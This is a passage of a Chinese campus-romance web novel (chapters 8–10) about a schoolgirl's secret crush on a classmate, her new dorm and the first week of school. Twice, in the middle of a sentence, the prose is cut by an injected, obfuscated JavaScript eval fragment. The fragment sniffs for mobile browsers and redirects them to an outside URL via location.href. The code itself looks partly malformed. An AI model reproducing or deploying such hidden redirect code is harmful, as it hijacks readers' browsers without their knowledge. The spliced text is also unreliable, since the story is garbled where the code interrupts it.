方知韫拍了拍弟弟的脑袋,压低声音说,“没事,晚上哥帮你补。” “耶!”方知睿顿时喜笑颜开,松开哥哥跑回客厅继续看迪迦。 被家里轻松的氛围感染,身上的疲惫确实消失不少,他洗了个澡回 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江梅满脸怀疑,她自己开了个超市,平时做事就是雷厉风行,性格也颇为要强,相比起来陈以昭她爸陈家鹏就是个老好人的形象,干了这么多年依旧是个没什么前途的片警,见义勇为的锦旗倒是收了不少。 家里是严母慈父的配置,两人平凡却又心善,平日邻里间有什么事都会搭把手,陈以昭这个乐于助人眼里容不下沙子的性格,得归功于她父母。 “多大个人了?坐个车还能坐过站?”江梅嘴上数落着,目光却上下打量着女儿,字里行间满是心疼,“看你晒得!本来就不白,现在好了,又黑了一圈!快去洗手,给你炖了排骨汤补补。” “妈,你对我也太好了吧,我在基地做梦都是你做的饭!”陈以昭把书包往沙发上一丢,笑嘻嘻地凑过去,飞快地抱了一下江梅,然后冲进厕所洗手。 餐桌上陈以昭吃着她妈给她夹的排骨,含糊不清的问,“对了,我爸呢?还没下班吗?” “加班呢,听说有家小三和原配打起来了,他们派出所去调节去了,”江梅一边回答一边给女儿盛汤,“多吃点,看这脸瘦的,吃完洗个澡脏衣服放哪儿,刚好和给你新买的被褥洗干净晒晒再装起来,住校的东西还差啥记得说啊。” “我知道!妈,又不是小孩子,缺什么我会买的!”陈以昭一边扒着饭,一边含糊不清地回答。 “多大在我眼里也是小屁孩,”江梅没好气翻了个白眼,“军训怎么样,好玩吗?我听说有的学生军训就早恋,你可别……” “我吃好了,先去洗澡!”陈以昭赶在她妈开始长篇大论前离开。 “这孩子。”江梅皱着眉摇头,却也没多说什么。 陈以昭洗了澡换了睡衣才回到自己房间,躺在朝思暮想的床上,感觉浑身的酸软都好多了,刚打开手机,班级Q.Q群就滴滴滴地响个不停,消息已经99+,消息还在疯狂跳出来,看了眼才发现大家都在疯狂分享军训的照片和视频,回忆着这段时间的点点滴滴: 【哈哈哈快看这张!周斐被罚俯卧撑的表情,绝了!】 【张梓熙你也好意思笑,也不知道是谁同手同脚,踢正步得时候像只猴子!】 【啊啊啊,周斐你闭嘴啊!】 【我们班拉歌的鬼哭狼嚎视频谁拍的?妥妥黑历史,快删掉!】 【不是吧,大合照怎么把我拍的这么丑,救命啊!】 【谁军训心得写了?让我瞅一眼啊,半天蹦不出来一个字。】 陈以昭从头开始翻看,被那些丑的千奇百怪的照片逗笑了,甚至连她都有不少丑照,一边笑一边手指飞快滑动,突然,一张照片吸引了她的目光。 那是领奖的时候拍的,宽阔的领奖台上,站着各班的优秀标兵,大家脸上都带着骄傲的自信,她和方知韫,恰好站在相邻的位置,隔的很近,连转身时宽松的衣袖都能碰到对方。 她歪着头比着耶,露出虎牙笑得一脸灿烂,眼神明亮,整个人都青春洋溢,而旁边的方知韫,依旧是那副淡淡的神情,身姿挺拔,目不斜视的直视前方,照片拍得有些距离,但每个人的表情都拍的清晰无比。 陈以昭的心跳漏了一拍,她点开照片,放大,再放大。 指尖在屏幕上滑动,掠过自己阳光的笑脸,掠过其他标兵,最终,画面定格在方知韫的脸上。 方知韫确实长得好看,不是那种惊鸿一瞥的帅哥,而是一种人群中一眼就能瞧见的独特气质,像雪又像水,陈以昭看着他被放大的脸,挺直的鼻梁,微抿的薄唇,还有沉静的眼眸。 手指轻轻长按图片。 【图片已保存】 照片安静地躺进了她的手机相册里。 陈以昭放下手机,张开手躺在床上看着天花板,发现自己喜欢方知韫的第五天,她拥有了一个关于蓝色的秘密,和一张悄然保存的照片。 8. 第八章 本来以为军训辛苦,可回家后,在江梅女士持续两天全方位的念叨下,陈以昭觉得军训也不是那么辛苦了,至少教官顶多吓吓也不敢做什么,她妈要是生气那是真上手的。 做了两天家务,终于在星期天傍晚得到解脱,陈以昭拒绝了她爸妈开车送她去学校的建议,拖着塞得鼓鼓囊囊的大行李箱,还有一个同样满满当当的背包,踏上了返校的公交车,出门的那瞬间整个人都松了口气,满是对逃离江梅女士唠叨的轻松。 宿舍分配名单班主任早早就发在了群里,意料之中又引起了一番讨论,可惜的是陈以昭和温梨没有分到一个宿舍,反而和张梓熙、郭佳佳、岳雪、何夕、袁今梦成为了室友。 虽然结果和自己想的天差地别,好在都是军训时相处不错的同学,性格也是热情好相处的,陈以昭心里一松,嘴角弯了起来,开始期待和新室友的相处。 她拖着行李走进宿舍楼,咬着牙爬楼梯,根据门上的号码牌找到自己的宿舍505,门虚掩着露出一条缝,站在门口就听见里面叽叽喳喳的说话声和整理东西的窸窣声,时不时还传来几声愉悦的笑声,不难猜出里面是何等热闹的场景。 推开门,一股混合着消毒水和薰衣草洗衣粉的味道扑面而来。 “哎呀!陈以昭来了!”正在擦桌子的郭佳佳听见动静扭头第一个看到她,朝着站在门口的人挥了挥手,热情的打招呼。 “来的早不如来的巧,刚说到你你就来了!”正在铺床的岳雪也探出头笑着打趣。 “刚刚打扫的时候,你的床我们都帮你擦过一遍了,你要是不放心可以再擦一遍。”戴着眼镜模样文静的何夕推了推眼镜,指了指靠窗的一个床铺。 “何夕来的早大部分都是她做的,我们就是帮着搭了把手。”袁今梦笑眯眯地说。 正在厕所冲洗拖把的张梓熙听到这话走了出来,笑着怼了袁今梦一句,“你那是搭把手吗?你那不是添乱嘛?” 袁今梦摸了摸鼻子不好意思笑了笑。 陈以昭看着自己干净整洁的床铺和书桌位置,心里暖烘烘的,真心实意的感谢,“太麻烦你们了吧,应该等我来一起收拾的,为了表示感谢,明天的早餐我包了!” 说着,她连忙放下行李,拉开背包的拉链,掏出江梅事先准备的卤味和洗干净的水果,招了招手笑着说,“来来来,我妈自己卤的鸡爪鸭脖,随便吃!” “哇!好香啊!” “那我们就不客气了!” “谢谢阿姨!阿姨万岁!” 宿舍里顿时充满了欢声笑语,隔壁寝室的同学听见声音好奇过来串门,离开的时候手里还被塞了几个水蜜桃。 大家一边吃着零食卤味,一边七手八脚地帮陈以昭收拾,几个女孩挤在小小的空间里,说说笑笑,互帮互助,一点也没有那种你看我不顺眼,我瞧你不耐烦的勾心斗角,只有一群叽叽喳喳的话唠。 收拾妥当,外面的路灯都亮了起来,张梓熙拍了拍手提议:“去食堂吃饭,庆祝我们505寝室正式成立!” “还成立!那咱们寝室后面要上市吗?”袁今梦和张梓熙有点欢喜冤家的意思,吵吵闹闹互怼互损。 “不过真的饿了,先去吃饭吧。”何夕摸了摸肚子询问,其他人也纷纷附和起来。 陈以昭把衣服挂在衣柜里,才转身摆摆手:“你们去吧,我吃饱了才来的,现在还不饿。” 其他人见她真的不饿,也没有非要追求什么集体活动的执念,嘻嘻哈哈地结伴出门了。 人一走,宿舍里顿时安静下来,陈以昭把自己的私人用品一一摆好,吐了口气,双手叉腰环顾着这个未来三年的小窝,看见干净整洁的房间和熟悉的摆件,心里充满了归属感。 收拾完,她掏出手机看了眼时间,已经晚上七点半了,思考了会儿,点开四人小群,在群里艾特了温梨、杨羡和乔安澜 【自由发光体:@冰糖雪梨@一只羊@安是你爹都到校了吗?在干嘛呢?我宿舍收拾好啦,要来串门吗?】 等了一会儿,群里没人回复,估计都在忙。 陈以昭也没追问,只是揣上手机和钥匙,打算先去校园里逛逛,毕竟要待三年,还是需要熟悉一下夜晚的校园。 走了没一会儿才收到温梨的回复,说自己不在宿舍,其他两个人依旧没动静,陈以昭把手机揣回兜里继续逛。 黔一中占地面积不小,作为黔州最好的高中,师资配置和基础设施都是最好的,陈以昭在校园里闲逛着,一路上还遇到了不少和她一样没穿校服的高一新生。 九月初的晚风带着凉意,吹在脸上凉飕飕的,不知不觉走到了教学楼,楼里灯火通明,隐约能从窗户透出的人影看见高二高三的学生在教室里,她漫无目的地走着,不知不觉绕到了篮球场附近。 “砰!砰!砰!” “快快快,传给我!” “左边!” 篮球撞击地面的声音和男生们的呼喊声清晰地传来,篮球场的灯光亮如白昼,场边还围了不少人,三五凑成一群,不过除了穿着篮球服的男生外,围观的大多是女生,她们兴奋地议论着,看到进球还会跳起来大声欢呼。 热闹的欢呼声吸引了陈以昭的注意力,她踮着脚伸长脖子瞅了瞅,什么也瞧不见,索性走近了些,轻轻扒开人群往里挤了挤,找了个视野还不错的位置,目光投向球场中央。 球场上几个穿着运动背心的男生正在激烈地攻防,他们动作很快的跑跳着,时不时撩起宽大的篮球服下摆用来擦汗,周围交头接耳的声音响起,可陈以昭的视线瞬间只落在一个人身上。 方知韫穿着简单的篮球背心和黑色运动短裤,动作迅速的退后,高高跳起接住队友传过来的球,一个反身运球,突破了对手的包围圈,漂亮的假动作避开防守的队员,身姿矫健,动作流畅,紧接着,起跳,投篮——篮球在空中划出一道优美的弧线,“唰”地一声空心入网。 “哇哇哇!” “好帅!” “又投进了,太厉害了吧!” 场边爆发出热烈的欢呼和尖叫,不少女生激动地跳了起来。 不知道是谁被这种气氛感染,还是看到那道身影的缘故,陈以昭也看得心跳加速,眼睛亮亮的,有种发现不一样的方知韫的惊喜感。 褪去了平日里的疏离礼貌,球场上的方知韫像一柄出鞘的利剑,锋芒毕露,攻击极强,没有半点温和,是属于他自己的意气风发。 就在这时,一个穿着高二校队球衣,带着吸汗发带的男生正好下场休息,他弯腰拿起矿泉水一口气喝了小半瓶,目光扫过场边,恰好看到了人群中的陈以昭,眼睛顿时一亮,将水瓶放在地上快步走了过来。 “嘿!同学!”男生笑容爽朗,露出一口白牙,模样是阳光俊朗,“还记得我吗?” 周围有人开始讨论,处于话题中心陈以昭不太自然,可看着眼前这张有点眼熟但一时想不起在哪见过的脸,还是茫然地摇了摇头。 “上周!高一军训那天!篮球场!不小心砸到你鼻子的那个!”男生连忙解释,脸上带着真诚的歉意,挠了挠后脑勺不好意思说:“你还有印象吗?” 听人这么说,陈以昭这才恍然大悟,“是你啊!” 她笑了起来,连忙摆摆手,“没事没事,你们也不是故意的,而且你看我现在不是好好的嘛!鼻子也没塌!” 说着,陈以昭捏了捏自己的鼻子证明,语气轻松豁达,半点没有放在心上。 男生见她不仅没有怪罪,还这么开朗,顿时松了口气,笑容更大了:“哈哈,没事就好!要不然我得自责死,不过还是要郑重说声对不起,对了,还没问同学你的名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996384|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,先自我介绍一下,我是高二(7)班黎一帆。” “高一(5)陈以昭。” 两人站在场边聊了起来,陈以昭本身就是和谁都能聊几句的性格,黎一帆的性格更是开朗健谈,两人讲起那天发生的意外,又说起被李文民训得有多惨,检讨更是令他们头大,三言两语逗得陈以昭忍不住笑出声,气氛格外轻松融洽。 场上的方知韫刚投进一个漂亮的三分球,引起了一阵欢呼,他并未在意,只是脸上带着笑意小跑过来和队友击掌庆祝,转身时用虎口拭去下巴的汗珠,目光随意地扫过场边欢呼的人群。 视线掠过黎一帆时,看到这位高二的校篮球队队长,正站在场边不知和谁聊得开心,从侧脸上扬的唇角不难猜出定是笑容灿烂。 那人站在侧方,被黎一帆高大的身影挡着,只能从露出一点马尾辫看出是个女生,方知韫没什么兴趣,只当是黎一帆的同学或者女朋友,很快移开了目光。 “老方,走了!回去洗澡!”同班的队友卫子尧喊他。 “嗯。”方知韫应了一声,拿起场边的外套和水瓶,一边仰头喝水,一边跟着队友们一起离开球场。 经过黎一帆和陈以昭身边时,他停顿下来和黎一帆打了个招呼才离开,而陈以昭的眼角余光瞥见却方知韫擦肩而过的身影,注意力不受控的看过去,可对方并没有注意到她。 离开篮球场,几人讨论着要不要先去食堂,方知韫受不了身上汗水淋漓得粘糊感,便拒绝了邀请,和卫子尧他们道别后独自走向男生宿舍楼的方向。 夜晚的校园小径安静了许多,路灯洒下的光晕照量了周围的景物,时不时还能听到躲藏在草丛中的蝉鸣,路过一处僻静小亭子时,一个很小声带着点磕绊的朗读声丛远处传来,在这个夜晚莫名有些瘆人。 “Abandon…a-b-a-n-d-o-n…Abandon…” 仔细听才能听见是有人在背单词,发音有些生硬,带着明显的中式口音,而且“d”和“n”的尾音发得含糊不清。 方知韫脚步顿了顿,微微偏头,看向亭子里,昏暗的灯光下,一个穿着高一校服的女生正背对着他,坐在石凳上,微卷的头发披散着,将人遮挡的严实,她借着亭子里微弱的光线,低头认真地盯着手中的单词本,一遍遍地重复着那个单词。 “Abandon…Abandon…” 重复了几遍,依旧是固执又有点笨拙的发音,让方知韫下意识地蹙了下眉,几乎是不假思索地,刻意放轻的声音在夜色中响起: “是/??b?nd?n/,/d/的发音要清晰,舌尖抵住上齿龈,重音在第二个音节。” 说完,他似乎觉得自己有点莫名其妙,正想开口解释什么,亭子里的声音戛然而止。 那女生像是被吓一跳,猛地转过头来,温梨清秀的脸上写满了惊讶和紧张,眼睛睁得圆圆的,虽然光线昏暗,却依旧看得见她惊慌失措的眼神。 当温梨看清站在亭外小路上的方知韫时,对于人发现的窘迫,脸颊“唰”地一下变得通红,像熟透的苹果,连耳根都染上了粉色,低着头紧张的攥紧了校服袖口。 “啊……谢,谢谢!”温梨的声音细若蚊蚋,手忙脚乱地抓起石凳上的单词本和中性笔,垂着脑袋,好像是受到了惊吓,头也不回地快步跑出了亭子,很快就消失在视野范围中。 方知韫站在原地,看着少女仓惶逃离的背影,眉头微不可察地蹙了一下,觉得是自己刚刚多管闲事的行为给人带来困扰了,顿感懊恼。 他的目光在少女消失的方向停留了几秒,不知为何觉得有些眼熟,可没有想起来,只好收回目光,不再停留,继续迈步朝宿舍楼走去。 月光将他的影子拉得很长,独属于少男少女的青春故事也缓缓拉开序幕,未来还尚早。 9. 第九章 周一的开学典礼虽早有准备,可意外总是会不经意的发生,比如说505众人过于兴奋聊的太晚,再加上对初次住校的不适应,集体睡过了头。 还是何夕被电话铃声吵醒,迷迷糊糊从枕头底下摸出手机一看,距离集合的时间只有半个小时,睡意消失的一干二净,连忙大吼一声把所有人喊醒,宿舍里顿时变得鸡飞狗跳。 陈以昭顶着一头毛燥燥的头发从床上弹坐起来,一看手机温梨电话都打了几次,飞快往身上套着衣服,以最快的速度下床,嘴里叼着牙刷双手则利落的扎了个马尾,其他人更是手忙脚乱,一时间全是各种慌乱声: “我闹钟怎么没响?” “你们谁看见我校服裤了?” “完了完了,老李都到了!” “岳雪快点出来,我要上厕所啊。” 众人争分夺秒,头发也是胡乱扎了下,随便收拾了一下,就慌慌张张地冲出宿舍。 清晨的阳光还不刺眼,微风甚至带着凉爽,扬起少女们的发丝,校园里,到处都是和她们一样奔向操场集合的学生。 宿舍距离操场有一定的距离,陈以昭他们一路上跑的气喘吁吁,沿着塑胶跑道在密密麻麻的人群里寻找高一(5)班的位置,凉爽的清晨愣是给她们热出了一身的汗。 “这边,昭昭,这边!”右侧传来了温梨的声音。 陈以昭听见声音看过去,只见温梨站在队伍里,远远地看到她们,焦急地挥手示意。 六人对视一眼,急匆匆跑过去像泥鳅一样挤进队伍,刚站定,就被站在队伍最前方的李文民发现,严厉地目光扫过她们几个,眉头紧锁,低声训斥,“还不快站好,下次再迟到就别来了!” 听到这话,吓得她们几个缩了缩脖子,赶紧立正站好低着头大气也不敢喘。 直到李文民收回目光,陈以昭悄悄挪过去到温梨旁边,小声抱怨:“都怪郭佳佳昨晚讲鬼故事讲那么晚!” “喂!明明你们听得挺开心啊,”郭佳佳翻了个白眼,没好气的说,“那袁今梦还说她的感情史呢。” “不是你们非要问嘛!”袁今梦瞪大了眼,不由提高了声音。 李文民听到声音扭头,严厉看过来,眼神警告。 温梨没忍住抿嘴笑笑,看向陈以昭,两人连忙垂眸,偷偷交换了一个心照不宣的眼神。 冗长的升国旗奏国歌,校领导讲话、教师代表发言…… 陈以昭本来就没睡好,这会儿更是听得有些昏昏欲睡,直到主持人宣布:“下面,请高一新生代表,高一(1)班方知韫同学发言!” 听到这个名字,陈以昭的瞌睡虫瞬间跑光,精神一振,踮起脚伸长脖子,目光灼灼地投向主席台。 方知韫穿着干净熨帖的红白校服,身姿挺拔,气质非凡,步履沉稳地走上主席台。 阳光破开清晨的雾气温柔撒落在他脸上,仿佛给他镀上一层淡淡的金辉。 他站在主席台前,从主持人手中接过麦克风,平静的目光扫过台下的师生,沉稳而坚定的声音通过广播清晰地响起: “尊敬的各位领导、老师,亲爱的同学们,大家早上好!我是高一(1)班的方知韫……” 方知韫没有准备发言,像是随心而说一样,没有华丽的辞藻,却条理清晰,文采斐然,充满了少年人的锐气与胆魄。 几分钟的脱稿发言中,他回顾了学习中的磨砺,展望了未来的美好,最后说:“高中三年,愿你我,不负韶华,不负期望,以梦为马,以勤为径,以苦作舟,为青春书写全新篇章!再回首,都能无愧于心,所愿皆成!” 他的语速不快,最后四个字,却微微提高了声调,像一支箭,直直穿透众人心口。 话音落下,操场上爆发出雷鸣般的掌声,青春本就无畏,方知韫的这番话,更是让这群从中考筛选出来的天之骄子振奋不已,那掌声里,充满了对他发言的认同,以及被点燃的奋斗热情。 掌声太过响亮,无人注意到陈以昭拍红的掌心。 她仰望着台上那个沐浴在阳光和掌声中的少年,只觉得他整个人都在发光。 开学典礼本来就冗长无聊,后面校领导又说了什么总结和展望,陈以昭其实没太听进去,她的思绪还停留在方知韫那句铿锵有力的“所愿皆成”里,像一颗石头落下,搅乱了一池春水。 因为,她亦有所愿。 随着校长宣布开学典礼结束,各班有序离场,一窝蜂挤向楼梯口往教室走。 高一(5)班教室里,李文民站在讲台上,看了看嘈杂的教室,用力拍了拍讲桌,表情严肃的开口:“开学第一天,大家该收心了,像今天这种迟到的事,我不希望再发生第二次。” 李文民语气停顿,目光扫过全班,见他们低着头才继续说:“上课之前,我们先定下班委成员,我根据大家军训期间的表现、入学情况以及初步观察,拟定了一个初步名单,大家也可以自荐或推荐。” 他拿出一张纸,开始念:“学习委员:何夕,体育委员:周斐,语文课代表:温梨……” “至于班长……”李文民顿了顿,目光扫视了一圈,落在靠窗的陈以昭身上,“陈以昭,你成绩不错,组织能力也优秀,性格出众,应该能够当好这个班长协助老师管理好咱们班吧。” 陈以昭心里咯噔一下,她做事随心所欲惯就,最怕麻烦和责任了,班长的事本来就很多,有时候还吃力不讨好,真当班长了不得累成狗。 想到这里,她赶紧站起来,摸了摸鼻子,有些为难的说:“李老师,班长责任重大,我做事不靠谱,怕我做不好耽误了大家,我觉得赵轩合适。” 被点到名的是个模样敦厚的男生,惊讶的抬头推了推眼镜。 李文民眉头一皱,虽然看到陈以昭的不愿意,还是想在询问一下,“你是我们班入学成绩的第一,能力是有的,不要妄自菲薄。” “李老师,”陈以昭灵机一动,语气诚恳,“我这个人笨的很,做事情没有赵轩沉稳,而且又要学习又要干事,我真的怕顾不过来,我想申请当个团支书可以吗?” 陈以昭脑袋飞快的转动,脑细胞都快死完了,终于想起一个看着没那么忙的职位。 李文民看着她坚决的样子,又看了看名单,想着赵轩的性格和成绩,也确实能够胜任班长一职,最终无奈地叹了口气:“行吧,那这团支书就由你担任了。” “是,我一定会努力的!”陈以昭如蒙大赦,赶紧坐下,偷偷松了口气。 选班委的环节才进行到一半,教室门被敲响了,随后隔壁(6)班的一个男生探头进来,有些耍宝的挥手,“李老师,教务处老师让你派人去图书馆领新书了。” “好,知道了,”李文民被打断,只好先把班干的事放一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996385|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,看着学生吩咐,“周斐,你带几个男生一起去领新书!” “好嘞!” 去了大概十个男生,很快,一摞摞散发着油墨清香的新课本被搬进了教室。 李文民让课代表按每一数列分发,教室里顿时变得吵杂起来,各种声音响起,有吆喝的,有追问的,有拿到新书开心的,不知道的还以为进了菜市场。 陈以昭坐在后面,是靠窗那列最后一个得到的,正检查一本本崭新的书本时,发现多了一本数学必修一,少了一本政治必修一,眉头不由皱了起来。 她正准备举手,就听见教室门再次被敲响,只见方知韫站在门口,手里拿着一本书上下晃了晃。 班上有几个女生小声讨论着,他却神色平静,只是看着讲台上的李文民,轻声说:“老师好,打扰一下,1班发书时发现少了一本数学必修一,多了一本政治必修一,我刚刚去教务处问过,老师说可能分发的时候出错,让我来问问5班有没有多出数学书?” 李文民听到这儿,沉声询问,“我们班有没有谁多了本数学书或者少拿了政治书的?” “我!”陈以昭几乎是立刻举高了手,立刻吸引了所有人的注意力,包括方知韫。 她拿起那本多出来的数学书,快步绕过课桌,走向教室门口。 方知韫的目光随着她的动作移了过来,两人的距离迅速拉近,直到陈以昭站到了方知韫面前。 两人离得近,她需要仰头才看得见方知韫的眼睛,平复急促的心跳,将手中的书递过去,带着一丝不易察觉的慌乱:“给你。” “谢谢。”方知韫接过书,同时将自己手中的政治书递给她,整个过程只持续了几秒,除了指尖短暂地触碰了一下书页边缘,没有任何多余的眼神交流。 “不客气。”陈以昭接过那本还带着微热触感的政治书,抱在怀里,低声应道。 “谢谢老师,我先走了。”方知韫朝李文民说了句,然后颔首示意,便转身离开了。 陈以昭拿着那本政治书回到座位,教室里又恢复了吵闹,她看着那本书,胸腔里的鼓点久久不能平息,嘴角却微微上扬。 开学第一天的并没有给他们喘息的机会,课程排得满满当当,让这群休息了一个暑假的学生,顿时明白高中课程和初中课程的区别。 即使陈以昭的中考成绩是5班第一,可黔一中本就是卧虎藏龙,她又少点勤奋多了点贪玩,丝毫不敢懈怠,课堂上打足了十二分精神,笔记也记得飞快。 晚自习更是争分夺秒,各科作业像雪花一样飞来,自律性高的例如赵轩他们,已经开始预习第二天的知识,陈以昭埋首于数学的海洋,专注着公式的演算,压根无暇顾及白天那点悸动。 直到晚自习铃声响起,她和室友们回到505宿舍,洗漱完毕,回归属于自己的小天地里,喧嚣散去,才任由少女情怀跳动。 她看着桌上的那本政治书,思绪翻涌,白天发生的一切再次浮现:方知韫的身影,递过来的书,看向自己的目光…… 每一个画面都在脑海中重复,令她不由思考:也许,自己和方知韫之间,存在那么一点点特别的缘分呢?就像他们俩的书拿错了,就像他会来5班送还?就像冥冥之中的注定? 暗恋像一颗种子,只需要一点点的养料,就能在寂静的夜里,悄悄绽放,开出独属于自己的花团锦簇。 10. 第十章 黔州一中的学生都是凭实力杀进来的佼佼者,大家本身就很优秀努力又聪明,自然不是抱着混日子的心思,这也就导致开学第一周,陈以昭就深刻体会到了什么叫学习压力。 早读、上课、笔记、预习、作业…… 这些重复的内容成为了她每日的必备流程,像是陷入了什么循环一样,时间被切割成精确的碎片,每一分每一秒都不能停歇。 一中老师的课程进度快得惊人,知识深度和知识面也远超初中,稍一走神,再反应过来就已经跟不上老师的节奏了,只能课下花更多的时间去查缺补漏,可那时原本同样起点的同学已经进行下一环节了。 陈以昭虽然是5班入学成绩的第一,但是她自己也明白,她的优势不过是有点小聪明和初中打下的基础,真论勤奋刻苦,远不如赵轩何夕他们稳扎稳打。 更何况她贪玩散漫,初中班主任不止一次惋惜过,说他的能力是可以和杨羡一起冲刺实验班的,之前不觉得有什么,但在黔一中快节奏,高压力的氛围下,那点散漫让陈以昭感到吃力了。 好就好在陈以昭是不服输的性格,越有挫折越能激起她的好胜心,不会的知识就多问,背不下的课文就多背,时间就像海绵,挤一挤总是有的。 毕竟不拼尽全力,随时可能被身后汹涌的浪潮淹没。 “救命!物理最后那个题你听明白了吗?”课间,郭佳佳哭丧着脸转过身趴在陈以昭桌子上哀嚎。 “勉强吧,感觉覃老师讲得有点快。”陈以昭放下笔揉着发胀的太阳穴,缓了会儿才又重新翻开笔记演算。 “温梨,你算出来了吗?”郭佳佳看向陈以昭身旁也在演算的温梨。 温梨张了张嘴还没出声,陈以昭看着草稿纸上的结果,突然笑出声来,“我知道了,是这样的……” 郭佳佳听着陈以昭从头到尾说了一遍,恍然大悟,忍不住竖起大拇指感叹了句,“努力就算了还聪明,不愧是你,温梨,你是不是也算出来!啊啊啊,我要是能有你们这么聪明就好了!” 温梨抿唇笑了笑没有回答,只是不动声色将草稿纸收了回来,用手肘盖住,没人注意到那上面和正确答案相差甚远的结果。 很快又响起了上课铃声,学习的重压下,少女那些隐秘的心事被暂时挤压到了角落,无暇顾及。 唯一能让陈以昭在这种重压下有点喘息空隙的,是每天雷打不动的课间操。 很多高二高三的学生会想方设法逃避课间操,可陈以昭却乐在其中,她站在5班的队列之中,随着广播体操的音乐响起,目光却总是不由自主地飘向1班的方向,搜寻那道熟悉的身影。 当然也不是每一次都能找到,有时候运气好能一眼锁定目标,方知韫的动作并不标准,带着点漫不经心,时不时还会同前后的同学说笑打闹,只有这么一个背影,却足以让陈以昭保持一下午的好心情。 有时候方知韫没有来做操,陈以昭会稍微失落,可这种情绪是短暂的,失落后她会再次打起精神,期待着明天的到来,这种寻人游戏也成为了高压下的唯一消遣。 一中是封闭式管理,学生们除了教学楼和寝室,去的最多的也就是食堂了,饭菜算不上多好吃,可依旧有很多人。 这不,放学时英语老师拖了堂,当陈以昭和温梨她们急匆匆赶到食堂时,放眼望去,人山人海,座无虚席。 她们几个和其他学生一样,端着餐盘,穿梭在人群中,伸长了脖子左右张望,像无头苍蝇一样在拥挤的人群里搜寻,试图寻找着一个空位。 “难得来找你们一起吃饭,还来晚了。”杨羡叹了口气。 乔安澜仰头哀嚎,“你说钱姐也是的,好端端的拖什么堂,咱们不会站着吃吧。” “应该快有人吃好了,再等等看吧。”温梨轻声说,目光也在努力搜寻。 就在她们快要绝望时,一个熟悉的声音带着惊喜响起:“嘿!陈以昭!这边!” 听见自己名字,陈以昭循声望去,只见靠近角落的一张桌子旁,黎一帆正朝她用力挥手。 他和几个高二的男生坐在一起,桌上的餐盘基本空了,显然快吃完了,不夸张说,那一瞬间犹如天神降临。 在周围不少同样找不到座位,投来羡慕眼神的学生注视下,陈以昭四人如蒙大赦,赶紧端着餐盘走了过去。 “学哥,真是太感谢了。”陈以昭走过来感激地说。 黎一帆爽朗一笑,摆了摆手:“客气啥,快坐快坐。” 说着,他起身拿起餐盘挪了挪位置,让出地方。 陈以昭大方地向黎一帆介绍了温梨她们:“他们是我朋友,这是温梨、杨羡还有乔安澜。” 三人里也就乔安澜是自来熟,她长得好更是知道如何讨人喜欢,从陈以昭身后探出脑袋歪着头乖巧的打招呼,“嗨!” 黎一帆也向她们介绍了自己的同学:“这几个是我同学。” “不是吧不是吧,黎一帆,我们几个连名字都不配拥有吗!”其中一个男生无语怒骂。 “废话这么多,袁凯你还不快点起来腾位置!”黎一帆没好气踢了旁边人的小腿肚一下。 被踢的男生也没气,显然是知道开学篮球场那场“事故”,看着陈以昭笑着调侃:“黎一帆,这不会是王国一说的那个被你‘一球定情’的小学妹吧?” “不会说话就闭嘴吧,”黎一帆笑骂着捶了袁凯一拳,转头对陈以昭不好意思地笑笑,“他们胡说八道,你别介意啊。” 陈以昭没生气,也跟着笑了笑,大大方方地接话:“没事儿!这说明学哥你球技好,要不怎么会搁这么远也能打中。” 她幽默的回应逗得大家笑起来,气氛轻松融洽,那几个男生更是对陈以昭刮目相看。 “行了,你们慢慢吃,我们就不在这里占位置,先撤了啊。”黎一帆挥挥手,端着餐盘和队友们一起离开了。 等人离开,乔安澜这才一屁股坐下,往嘴里塞了筷土豆丝,盯着黎一帆他们的背影激动询问,“我记得那个校篮球队的黎一帆,昭昭,你啥时候和高二的也这么熟了?” “食堂这么多人,可是只喊了你给你让位置,有问题,”杨羡用筷子点了点餐盘,“温梨,她有跟你说过吗?” 温梨摇摇头,也是一脸八卦的看着陈以昭。 陈以昭被她们八卦的目光弄的浑身不自在,无奈的把那天的的意外说了一遍,谁料乔安澜更是激动,连杨羡都直夸今天多亏了陈以昭。 一旁的温梨安静地吃着饭,只有时不时的附和一句,大多数时间都听着朋友们对陈以昭的赞叹,眼神里流露出难以掩饰的羡慕。 她看着陈以昭在大方开朗的样子,好像在什么环境中都能适应,不会内耗也不会沮丧,再看看自己,自卑敏感,内向无聊,不知不觉心里泛起一丝微涩。 忙碌而充实的一周就这么过去了,一直熬到了周五所有人都收拾好行李,迫不及待想要回家。 “叮叮叮——” 最后一节课的下课铃如同天籁,教室里瞬间沸腾起来,充斥着各种讨论声,已经有人背上书包冲出教室,一溜烟就没影了。 “昭昭,好了吗?”张梓熙她们招呼着。 陈以昭也收拾好了书包,正准备和她们一起离开,有个女生跑了过来站在门口大喊了一声,“你们班团支书走了吗?” “怎么了?”陈以昭停下手里的动作看过去。 “团委的老师通知各班团支书去行政楼三楼会议室开会,你们记得给你们团支书说一下啊,我还得去其他班。”女生解释完又急急忙忙走了。 陈以昭哀叹一声,完全没想到本以为找了个事最少的团支书,谁知道第一周就得开会,肩膀顿时垮了下来,蔫蔫的说:“没办法了,你们先走吧,我得去开个会呢。” “啊?那好吧,周一见了。”室友们同情地看了她一眼,挥挥手和温梨一起离开。 教室里人陆陆续续走的差不多,陈以昭叹了口气认命地背起书包,磨磨蹭蹭地往行政楼走去。 